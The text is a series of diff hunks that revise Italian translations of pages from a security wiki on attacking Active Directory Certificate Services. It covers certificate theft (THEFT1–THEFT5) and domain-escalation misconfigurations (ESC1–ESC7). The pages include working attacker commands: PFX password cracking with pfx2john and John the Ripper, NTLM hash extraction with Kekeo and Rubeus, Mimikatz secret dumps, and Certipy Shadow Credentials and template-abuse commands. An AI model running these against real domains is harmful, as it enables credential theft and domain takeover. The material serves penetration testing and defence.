|
||||
|
||||
### Diritti di Registrazione della CA Aziendale
|
||||
|
||||
I diritti della CA sono delineati nel suo descrittore di sicurezza, accessibile tramite la console di gestione dell'Autorità di Certificazione. Alcune impostazioni consentono anche a utenti con privilegi ridotti l'accesso remoto, il che potrebbe essere una preoccupazione per la sicurezza.
|
||||
I diritti della CA sono delineati nel suo descrittore di sicurezza, accessibile tramite la console di gestione dell'Autorità di Certificazione. Alcune impostazioni consentono anche a utenti con privilegi bassi l'accesso remoto, il che potrebbe essere una preoccupazione per la sicurezza.
|
||||
|
||||
### Controlli Aggiuntivi per l'Emissione
|
||||
|
||||
@ -73,29 +73,29 @@ I certificati possono essere richiesti tramite:
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), utilizzando interfacce DCOM.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), attraverso pipe nominate o TCP/IP.
|
||||
3. L'**interfaccia web di registrazione dei certificati**, con il ruolo di Web Enrollment dell'Autorità di Certificazione installato.
|
||||
4. Il **Certificate Enrollment Service** (CES), in congiunzione con il servizio di Politica di Registrazione dei Certificati (CEP).
|
||||
4. Il **Certificate Enrollment Service** (CES), in combinazione con il servizio di Politica di Registrazione dei Certificati (CEP).
|
||||
5. Il **Network Device Enrollment Service** (NDES) per dispositivi di rete, utilizzando il Simple Certificate Enrollment Protocol (SCEP).
|
||||
|
||||
Gli utenti Windows possono anche richiedere certificati tramite l'interfaccia GUI (`certmgr.msc` o `certlm.msc`) o strumenti da riga di comando (`certreq.exe` o il comando `Get-Certificate` di PowerShell).
|
||||
```powershell
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
## Autenticazione con Certificato
|
||||
## Autenticazione tramite Certificato
|
||||
|
||||
Active Directory (AD) supporta l'autenticazione con certificato, utilizzando principalmente i protocolli **Kerberos** e **Secure Channel (Schannel)**.
|
||||
Active Directory (AD) supporta l'autenticazione tramite certificato, utilizzando principalmente i protocolli **Kerberos** e **Secure Channel (Schannel)**.
|
||||
|
||||
### Processo di Autenticazione Kerberos
|
||||
|
||||
Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket Granting Ticket (TGT) è firmata utilizzando la **chiave privata** del certificato dell'utente. Questa richiesta subisce diverse validazioni da parte del controller di dominio, inclusi la **validità**, il **percorso** e lo **stato di revoca** del certificato. Le validazioni includono anche la verifica che il certificato provenga da una fonte fidata e la conferma della presenza dell'emittente nel **NTAUTH certificate store**. Validazioni riuscite portano all'emissione di un TGT. L'oggetto **`NTAuthCertificates`** in AD, si trova in:
|
||||
Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket Granting Ticket (TGT) è firmata utilizzando la **chiave privata** del certificato dell'utente. Questa richiesta subisce diverse validazioni da parte del controller di dominio, inclusi la **validità** del certificato, il **percorso** e lo **stato di revoca**. Le validazioni includono anche la verifica che il certificato provenga da una fonte affidabile e la conferma della presenza dell'emittente nel **NTAUTH certificate store**. Validazioni riuscite portano all'emissione di un TGT. L'oggetto **`NTAuthCertificates`** in AD, si trova in:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
è centrale per stabilire la fiducia per l'autenticazione dei certificati.
|
||||
è centrale per stabilire fiducia per l'autenticazione dei certificati.
|
||||
|
||||
### Autenticazione Secure Channel (Schannel)
|
||||
|
||||
Schannel facilita connessioni TLS/SSL sicure, dove durante un handshake, il client presenta un certificato che, se validato con successo, autorizza l'accesso. La mappatura di un certificato a un account AD può coinvolgere la funzione **S4U2Self** di Kerberos o il **Subject Alternative Name (SAN)** del certificato, tra i vari metodi.
|
||||
Schannel facilita connessioni TLS/SSL sicure, dove durante un handshake, il client presenta un certificato che, se validato con successo, autorizza l'accesso. L'associazione di un certificato a un account AD può coinvolgere la funzione **S4U2Self** di Kerberos o il **Subject Alternative Name (SAN)** del certificato, tra i vari metodi.
|
||||
|
||||
### Enumerazione dei Servizi di Certificato AD
|
||||
|
||||
|
||||
@ -43,7 +43,7 @@ Definiti all'interno di AD, questi modelli delineano le impostazioni e i permess
|
||||
|
||||
## Registrazione del Certificato
|
||||
|
||||
Il processo di registrazione per i certificati è avviato da un amministratore che **crea un modello di certificato**, che viene poi **pubblicato** da un'Autorità di Certificazione Aziendale (CA). Questo rende il modello disponibile per la registrazione del client, un passaggio ottenuto aggiungendo il nome del modello al campo `certificatetemplates` di un oggetto Active Directory.
|
||||
Il processo di registrazione per i certificati è avviato da un amministratore che **crea un modello di certificato**, che viene poi **pubblicato** da un'Autorità di Certificazione (CA) aziendale. Questo rende il modello disponibile per la registrazione del client, un passaggio ottenuto aggiungendo il nome del modello al campo `certificatetemplates` di un oggetto Active Directory.
|
||||
|
||||
Per un client per richiedere un certificato, devono essere concessi **diritti di registrazione**. Questi diritti sono definiti da descrittori di sicurezza sul modello di certificato e sulla CA aziendale stessa. I permessi devono essere concessi in entrambe le posizioni affinché una richiesta abbia successo.
|
||||
|
||||
@ -57,7 +57,7 @@ Questi diritti sono specificati attraverso Access Control Entries (ACEs), dettag
|
||||
|
||||
### Diritti di Registrazione della CA Aziendale
|
||||
|
||||
I diritti della CA sono delineati nel suo descrittore di sicurezza, accessibile tramite la console di gestione dell'Autorità di Certificazione. Alcune impostazioni consentono anche a utenti con privilegi bassi l'accesso remoto, il che potrebbe essere una preoccupazione per la sicurezza.
|
||||
I diritti della CA sono delineati nel suo descrittore di sicurezza, accessibile tramite la console di gestione dell'Autorità di Certificazione. Alcune impostazioni consentono anche a utenti con privilegi ridotti l'accesso remoto, il che potrebbe essere una preoccupazione per la sicurezza.
|
||||
|
||||
### Controlli Aggiuntivi per l'Emissione
|
||||
|
||||
@ -71,13 +71,13 @@ Possono applicarsi controlli specifici, come:
|
||||
I certificati possono essere richiesti tramite:
|
||||
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), utilizzando interfacce DCOM.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), tramite pipe nominate o TCP/IP.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), attraverso pipe nominate o TCP/IP.
|
||||
3. L'**interfaccia web di registrazione dei certificati**, con il ruolo di Web Enrollment dell'Autorità di Certificazione installato.
|
||||
4. Il **Certificate Enrollment Service** (CES), in combinazione con il servizio di Politica di Registrazione dei Certificati (CEP).
|
||||
5. Il **Network Device Enrollment Service** (NDES) per dispositivi di rete, utilizzando il Simple Certificate Enrollment Protocol (SCEP).
|
||||
|
||||
Gli utenti Windows possono anche richiedere certificati tramite l'interfaccia GUI (`certmgr.msc` o `certlm.msc`) o strumenti da riga di comando (`certreq.exe` o il comando `Get-Certificate` di PowerShell).
|
||||
```powershell
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
@ -91,7 +91,7 @@ Nel processo di autenticazione Kerberos, la richiesta di un utente per un Ticket
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
è centrale per stabilire la fiducia per l'autenticazione dei certificati.
|
||||
è centrale per stabilire fiducia per l'autenticazione dei certificati.
|
||||
|
||||
### Autenticazione Secure Channel (Schannel)
|
||||
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Questo è un piccolo riassunto dei capitoli sul furto delle certificazioni della fantastica ricerca di [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
|
||||
**Questo è un piccolo riassunto dei capitoli sul furto dell'ottima ricerca di [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
|
||||
|
||||
## Cosa posso fare con un certificato
|
||||
|
||||
Prima di controllare come rubare i certificati, qui hai alcune informazioni su come scoprire a cosa serve il certificato:
|
||||
```powershell
|
||||
```bash
|
||||
# Powershell
|
||||
$CertPath = "C:\path\to\cert.pfx"
|
||||
$CertPass = "P@ssw0rd"
|
||||
@ -20,7 +20,7 @@ certutil.exe -dump -v cert.pfx
|
||||
```
|
||||
## Esportazione dei certificati utilizzando le Crypto API – THEFT1
|
||||
|
||||
In una **sessione desktop interattiva**, estrarre un certificato utente o macchina, insieme alla chiave privata, può essere facilmente fatto, in particolare se la **chiave privata è esportabile**. Questo può essere realizzato navigando al certificato in `certmgr.msc`, facendo clic destro su di esso e selezionando `All Tasks → Export` per generare un file .pfx protetto da password.
|
||||
In una **sessione desktop interattiva**, estrarre un certificato utente o macchina, insieme alla chiave privata, può essere fatto facilmente, in particolare se la **chiave privata è esportabile**. Questo può essere realizzato navigando al certificato in `certmgr.msc`, facendo clic destro su di esso e selezionando `All Tasks → Export` per generare un file .pfx protetto da password.
|
||||
|
||||
Per un **approccio programmatico**, sono disponibili strumenti come il cmdlet PowerShell `ExportPfxCertificate` o progetti come [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Questi utilizzano le **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) per interagire con il negozio di certificati. Queste API forniscono una gamma di servizi crittografici, inclusi quelli necessari per la memorizzazione e l'autenticazione dei certificati.
|
||||
|
||||
@ -34,9 +34,9 @@ Ulteriori informazioni su DPAPI in:
|
||||
../../windows-local-privilege-escalation/dpapi-extracting-passwords.md
|
||||
{{#endref}}
|
||||
|
||||
In Windows, **le chiavi private dei certificati sono protette da DPAPI**. È fondamentale riconoscere che le **posizioni di archiviazione per le chiavi private utente e macchina** sono distinte e le strutture dei file variano a seconda dell'API crittografica utilizzata dal sistema operativo. **SharpDPAPI** è uno strumento che può navigare automaticamente queste differenze durante la decrittazione dei blob DPAPI.
|
||||
In Windows, **le chiavi private dei certificati sono protette da DPAPI**. È fondamentale riconoscere che le **posizioni di archiviazione per le chiavi private utente e macchina** sono distinte, e le strutture dei file variano a seconda dell'API crittografica utilizzata dal sistema operativo. **SharpDPAPI** è uno strumento che può navigare automaticamente queste differenze durante la decrittazione dei blob DPAPI.
|
||||
|
||||
I **certificati utente** sono prevalentemente ospitati nel registro sotto `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, ma alcuni possono anche essere trovati nella directory `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Le corrispondenti **chiavi private** per questi certificati sono tipicamente memorizzate in `%APPDATA%\Microsoft\Crypto\RSA\User SID\` per le chiavi **CAPI** e `%APPDATA%\Microsoft\Crypto\Keys\` per le chiavi **CNG**.
|
||||
I **certificati utente** sono prevalentemente ospitati nel registro sotto `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, ma alcuni possono essere trovati anche nella directory `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Le corrispondenti **chiavi private** per questi certificati sono tipicamente memorizzate in `%APPDATA%\Microsoft\Crypto\RSA\User SID\` per le chiavi **CAPI** e `%APPDATA%\Microsoft\Crypto\Keys\` per le chiavi **CNG**.
|
||||
|
||||
Per **estrarre un certificato e la sua chiave privata associata**, il processo prevede:
|
||||
|
||||
@ -62,7 +62,7 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid
|
||||
```
|
||||
## Furto di Certificati di Macchina tramite DPAPI – THEFT3
|
||||
|
||||
I certificati di macchina memorizzati da Windows nel registro a `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` e le chiavi private associate situate in `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (per CAPI) e `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (per CNG) sono crittografati utilizzando le chiavi master DPAPI della macchina. Queste chiavi non possono essere decrittografate con la chiave di backup DPAPI del dominio; invece, è necessaria la **segreto LSA DPAPI_SYSTEM**, a cui può accedere solo l'utente SYSTEM.
|
||||
I certificati di macchina memorizzati da Windows nel registro in `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` e le chiavi private associate situate in `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (per CAPI) e `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (per CNG) sono crittografati utilizzando le chiavi master DPAPI della macchina. Queste chiavi non possono essere decrittografate con la chiave di backup DPAPI del dominio; invece, è necessaria la **segreto LSA DPAPI_SYSTEM**, a cui può accedere solo l'utente SYSTEM.
|
||||
|
||||
La decrittografia manuale può essere ottenuta eseguendo il comando `lsadump::secrets` in **Mimikatz** per estrarre il segreto LSA DPAPI_SYSTEM, e successivamente utilizzando questa chiave per decrittografare le chiavi master della macchina. In alternativa, il comando `crypto::certificates /export /systemstore:LOCAL_MACHINE` di Mimikatz può essere utilizzato dopo aver patchato CAPI/CNG come descritto in precedenza.
|
||||
|
||||
@ -80,7 +80,7 @@ I certificati si trovano a volte direttamente all'interno del filesystem, come n
|
||||
Questi file possono essere cercati utilizzando PowerShell o il prompt dei comandi cercando le estensioni menzionate.
|
||||
|
||||
Nei casi in cui venga trovato un file di certificato PKCS#12 e sia protetto da una password, l'estrazione di un hash è possibile tramite l'uso di `pfx2john.py`, disponibile su [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Successivamente, JohnTheRipper può essere impiegato per tentare di decifrare la password.
|
||||
```powershell
|
||||
```bash
|
||||
# Example command to search for certificate files in PowerShell
|
||||
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
|
||||
|
||||
@ -90,17 +90,19 @@ pfx2john.py certificate.pfx > hash.txt
|
||||
# Command to crack the hash with JohnTheRipper
|
||||
john --wordlist=passwords.txt hash.txt
|
||||
```
|
||||
## NTLM Credential Theft via PKINIT – THEFT5
|
||||
## NTLM Credential Theft via PKINIT – THEFT5 (UnPAC the hash)
|
||||
|
||||
Il contenuto fornito spiega un metodo per il furto delle credenziali NTLM tramite PKINIT, specificamente attraverso il metodo di furto etichettato come THEFT5. Ecco una rielaborazione in forma passiva, con il contenuto anonimizzato e riassunto dove applicabile:
|
||||
|
||||
Per supportare l'autenticazione NTLM [MS-NLMP] per applicazioni che non facilitano l'autenticazione Kerberos, il KDC è progettato per restituire la funzione unidirezionale (OWF) NTLM dell'utente all'interno del certificato di attributo di privilegio (PAC), specificamente nel buffer `PAC_CREDENTIAL_INFO`, quando viene utilizzato PKCA. Di conseguenza, se un account si autentica e ottiene un Ticket-Granting Ticket (TGT) tramite PKINIT, viene fornito un meccanismo che consente all'host attuale di estrarre l'hash NTLM dal TGT per mantenere i protocolli di autenticazione legacy. Questo processo comporta la decrittazione della struttura `PAC_CREDENTIAL_DATA`, che è essenzialmente una rappresentazione serializzata NDR del testo in chiaro NTLM.
|
||||
Per supportare l'autenticazione NTLM `MS-NLMP` per applicazioni che non facilitano l'autenticazione Kerberos, il KDC è progettato per restituire la funzione unidirezionale (OWF) NTLM dell'utente all'interno del certificato di attributo di privilegio (PAC), specificamente nel buffer `PAC_CREDENTIAL_INFO`, quando viene utilizzato PKCA. Di conseguenza, se un account si autentica e ottiene un Ticket-Granting Ticket (TGT) tramite PKINIT, viene fornito un meccanismo che consente all'host attuale di estrarre l'hash NTLM dal TGT per mantenere i protocolli di autenticazione legacy. Questo processo comporta la decrittazione della struttura `PAC_CREDENTIAL_DATA`, che è essenzialmente una rappresentazione serializzata NDR del testo in chiaro NTLM.
|
||||
|
||||
L'utilità **Kekeo**, accessibile su [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), è menzionata come capace di richiedere un TGT contenente questi dati specifici, facilitando così il recupero dell'NTLM dell'utente. Il comando utilizzato per questo scopo è il seguente:
|
||||
```bash
|
||||
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
|
||||
```
|
||||
Inoltre, si nota che Kekeo può elaborare certificati protetti da smartcard, a condizione che il pin possa essere recuperato, con riferimento a [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). La stessa capacità è indicata come supportata da **Rubeus**, disponibile su [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
|
||||
**`Rubeus`** può anche ottenere queste informazioni con l'opzione **`asktgt [...] /getcredentials`**.
|
||||
|
||||
Inoltre, si segnala che Kekeo può elaborare certificati protetti da smartcard, a condizione che il pin possa essere recuperato, con riferimento a [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). La stessa capacità è indicata come supportata da **Rubeus**, disponibile su [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
|
||||
|
||||
Questa spiegazione racchiude il processo e gli strumenti coinvolti nel furto di credenziali NTLM tramite PKINIT, concentrandosi sul recupero degli hash NTLM attraverso il TGT ottenuto utilizzando PKINIT e le utility che facilitano questo processo.
|
||||
|
||||
|
||||
@ -8,20 +8,20 @@
|
||||
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
## Modelli di Certificato Malconfigurati - ESC1
|
||||
## Modelli di Certificato Mal Configurati - ESC1
|
||||
|
||||
### Spiegazione
|
||||
|
||||
### Modelli di Certificato Malconfigurati - ESC1 Spiegato
|
||||
### Modelli di Certificato Mal Configurati - ESC1 Spiegato
|
||||
|
||||
- **I diritti di iscrizione sono concessi a utenti a bassa privilegio da parte dell'Enterprise CA.**
|
||||
- **L'approvazione del manager non è necessaria.**
|
||||
- **L'approvazione del manager non è richiesta.**
|
||||
- **Non sono necessarie firme da parte del personale autorizzato.**
|
||||
- **I descrittori di sicurezza sui modelli di certificato sono eccessivamente permissivi, consentendo agli utenti a bassa privilegio di ottenere diritti di iscrizione.**
|
||||
- **I modelli di certificato sono configurati per definire EKU che facilitano l'autenticazione:**
|
||||
- Identificatori di Extended Key Usage (EKU) come Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o nessun EKU (SubCA) sono inclusi.
|
||||
- **La possibilità per i richiedenti di includere un subjectAltName nella Certificate Signing Request (CSR) è consentita dal modello:**
|
||||
- Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in una CSR, può essere richiesto un certificato per impersonare qualsiasi utente (ad es., un amministratore di dominio). Se un SAN può essere specificato dal richiedente è indicato nell'oggetto AD del modello di certificato attraverso la proprietà `mspki-certificate-name-flag`. Questa proprietà è una bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` consente la specifica del SAN da parte del richiedente.
|
||||
- L'Active Directory (AD) dà priorità al subjectAltName (SAN) in un certificato per la verifica dell'identità se presente. Ciò significa che specificando il SAN in una CSR, può essere richiesto un certificato per impersonare qualsiasi utente (ad es., un amministratore di dominio). Se un SAN può essere specificato dal richiedente è indicato nell'oggetto AD del modello di certificato attraverso la proprietà `mspki-certificate-name-flag`. Questa proprietà è un bitmask, e la presenza del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` consente la specifica del SAN da parte del richiedente.
|
||||
|
||||
> [!CAUTION]
|
||||
> La configurazione delineata consente agli utenti a bassa privilegio di richiedere certificati con qualsiasi SAN a scelta, abilitando l'autenticazione come qualsiasi principale di dominio tramite Kerberos o SChannel.
|
||||
@ -71,35 +71,35 @@ I certificati con **nessun EKU**, che fungono da certificati CA subordinati, pos
|
||||
|
||||
Tuttavia, i nuovi certificati creati per **l'autenticazione del dominio** non funzioneranno se la CA subordinata non è fidata dall'oggetto **`NTAuthCertificates`**, che è l'impostazione predefinita. Tuttavia, un attaccante può comunque creare **nuovi certificati con qualsiasi EKU** e valori di certificato arbitrari. Questi potrebbero essere potenzialmente **abusati** per una vasta gamma di scopi (ad es., firma del codice, autenticazione del server, ecc.) e potrebbero avere implicazioni significative per altre applicazioni nella rete come SAML, AD FS o IPSec.
|
||||
|
||||
Per enumerare i modelli che corrispondono a questo scenario all'interno dello schema di configurazione dell'AD Forest, può essere eseguita la seguente query LDAP:
|
||||
Per enumerare i modelli che corrispondono a questo scenario all'interno dello schema di configurazione della foresta AD, può essere eseguita la seguente query LDAP:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## Modelli di Agente di Iscrizione Malconfigurati - ESC3
|
||||
## Modelli di Agente di Registrazione Malconfigurati - ESC3
|
||||
|
||||
### Spiegazione
|
||||
|
||||
Questo scenario è simile al primo e al secondo, ma **abusa** di un **EKU** (Agente di Richiesta di Certificato) **diverso** e **2 modelli** diversi (pertanto ha 2 set di requisiti),
|
||||
|
||||
L'**EKU di Richiesta di Certificato** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Agente di Iscrizione** nella documentazione Microsoft, consente a un principale di **iscriversi** per un **certificato** per **conto di un altro utente**.
|
||||
L'**EKU di Agente di Richiesta di Certificato** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Agente di Registrazione** nella documentazione Microsoft, consente a un principale di **registrarsi** per un **certificato** per **conto di un altro utente**.
|
||||
|
||||
L'**“agente di iscrizione”** si iscrive in un **modello** e utilizza il **certificato risultante per co-firmare un CSR per conto dell'altro utente**. Poi **invia** il **CSR co-firmato** all'CA, iscrivendosi in un **modello** che **permette “iscriversi per conto di”**, e l'CA risponde con un **certificato appartenente all'“altro” utente**.
|
||||
L'**“agente di registrazione”** si registra in un **modello** e utilizza il **certificato risultante per co-firmare un CSR per conto dell'altro utente**. Poi **invia** il **CSR co-firmato** all'CA, registrandosi in un **modello** che **permette “registrarsi per conto di”**, e l'CA risponde con un **certificato appartenente all'“altro” utente**.
|
||||
|
||||
**Requisiti 1:**
|
||||
|
||||
- I diritti di iscrizione sono concessi a utenti a bassa privilegiatura dall'Enterprise CA.
|
||||
- I diritti di registrazione sono concessi a utenti a basso privilegio dall'Enterprise CA.
|
||||
- Il requisito per l'approvazione del manager è omesso.
|
||||
- Nessun requisito per firme autorizzate.
|
||||
- Il descrittore di sicurezza del modello di certificato è eccessivamente permissivo, concedendo diritti di iscrizione a utenti a bassa privilegiatura.
|
||||
- Il modello di certificato include l'EKU di Richiesta di Certificato, consentendo la richiesta di altri modelli di certificato per conto di altri principali.
|
||||
- Il descrittore di sicurezza del modello di certificato è eccessivamente permissivo, concedendo diritti di registrazione a utenti a basso privilegio.
|
||||
- Il modello di certificato include l'EKU di Agente di Richiesta di Certificato, abilitando la richiesta di altri modelli di certificato per conto di altri principali.
|
||||
|
||||
**Requisiti 2:**
|
||||
|
||||
- L'Enterprise CA concede diritti di iscrizione a utenti a bassa privilegiatura.
|
||||
- L'approvazione del manager è elusa.
|
||||
- La versione dello schema del modello è 1 o supera 2, e specifica un Requisito di Emissione di Politica Applicativa che richiede l'EKU di Richiesta di Certificato.
|
||||
- L'Enterprise CA concede diritti di registrazione a utenti a basso privilegio.
|
||||
- L'approvazione del manager è bypassata.
|
||||
- La versione dello schema del modello è 1 o supera 2, e specifica un Requisito di Emissione di Politica Applicativa che richiede l'EKU di Agente di Richiesta di Certificato.
|
||||
- Un EKU definito nel modello di certificato consente l'autenticazione del dominio.
|
||||
- Le restrizioni per gli agenti di iscrizione non sono applicate sull'CA.
|
||||
- Le restrizioni per gli agenti di registrazione non sono applicate sull'CA.
|
||||
|
||||
### Abuso
|
||||
|
||||
@ -129,7 +129,7 @@ Il **descrittore di sicurezza** sui **modelli di certificato** definisce le **au
|
||||
|
||||
Se un **attaccante** possiede le necessarie **autorizzazioni** per **modificare** un **modello** e **istituire** eventuali **misconfigurazioni sfruttabili** delineate nelle **sezioni precedenti**, l'escalation dei privilegi potrebbe essere facilitata.
|
||||
|
||||
Le autorizzazioni note applicabili ai modelli di certificato includono:
|
||||
Le autorizzazioni notevoli applicabili ai modelli di certificato includono:
|
||||
|
||||
- **Proprietario:** Concede il controllo implicito sull'oggetto, consentendo la modifica di qualsiasi attributo.
|
||||
- **FullControl:** Abilita l'autorità completa sull'oggetto, inclusa la capacità di modificare qualsiasi attributo.
|
||||
@ -139,13 +139,13 @@ Le autorizzazioni note applicabili ai modelli di certificato includono:
|
||||
|
||||
### Abuso
|
||||
|
||||
Un esempio di privesc come il precedente:
|
||||
Un esempio di un privesc come il precedente:
|
||||
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può essere abusato, ad esempio, per sovrascrivere la configurazione del modello di certificato per rendere il modello vulnerabile a ESC1.
|
||||
ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può essere abusato, ad esempio, per sovrascrivere la configurazione del modello di certificato per renderlo vulnerabile a ESC1.
|
||||
|
||||
Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo `AddKeyCredentialLink` edge a `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco un piccolo assaggio del comando `shadow auto` di Certipy per recuperare l'hash NT della vittima.
|
||||
Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo edge `AddKeyCredentialLink` verso `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco un piccolo assaggio del comando `shadow auto` di Certipy per recuperare l'hash NT della vittima.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
@ -160,7 +160,7 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
||||
# Restore config
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||
```
|
||||
## Controllo degli Accessi agli Oggetti PKI Vulnerabili - ESC5
|
||||
## Vulnerable PKI Object Access Control - ESC5
|
||||
|
||||
### Spiegazione
|
||||
|
||||
@ -186,7 +186,7 @@ Per verificare se l'impostazione è attivata, le organizzazioni possono utilizza
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
Questa operazione utilizza essenzialmente **l'accesso al registro remoto**, quindi, un approccio alternativo potrebbe essere:
|
||||
Questa operazione impiega essenzialmente **l'accesso al registro remoto**, quindi, un approccio alternativo potrebbe essere:
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
@ -217,22 +217,22 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
|
||||
|
||||
#### Spiegazione
|
||||
|
||||
Il controllo degli accessi per un'autorità di certificazione è mantenuto attraverso un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati accedendo a `certsrv.msc`, facendo clic destro su una CA, selezionando proprietà e poi navigando alla scheda Sicurezza. Inoltre, i permessi possono essere enumerati utilizzando il modulo PSPKI con comandi come:
|
||||
Il controllo degli accessi per un'autorità di certificazione è mantenuto attraverso un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati accedendo a `certsrv.msc`, facendo clic con il tasto destro su una CA, selezionando proprietà e poi navigando nella scheda Sicurezza. Inoltre, i permessi possono essere enumerati utilizzando il modulo PSPKI con comandi come:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
Questo fornisce informazioni sui diritti principali, ovvero **`ManageCA`** e **`ManageCertificates`**, correlati ai ruoli di “amministratore CA” e “gestore certificati” rispettivamente.
|
||||
Questo fornisce informazioni sui diritti principali, ovvero **`ManageCA`** e **`ManageCertificates`**, che corrispondono ai ruoli di “amministratore CA” e “gestore certificati” rispettivamente.
|
||||
|
||||
#### Abuso
|
||||
|
||||
Avere diritti **`ManageCA`** su un'autorità di certificazione consente al principale di manipolare le impostazioni da remoto utilizzando PSPKI. Questo include l'attivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica SAN in qualsiasi modello, un aspetto critico dell'escalation del dominio.
|
||||
Avere diritti **`ManageCA`** su un'autorità di certificazione consente al principale di manipolare le impostazioni da remoto utilizzando PSPKI. Questo include l'attivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica di SAN in qualsiasi modello, un aspetto critico dell'escalation del dominio.
|
||||
|
||||
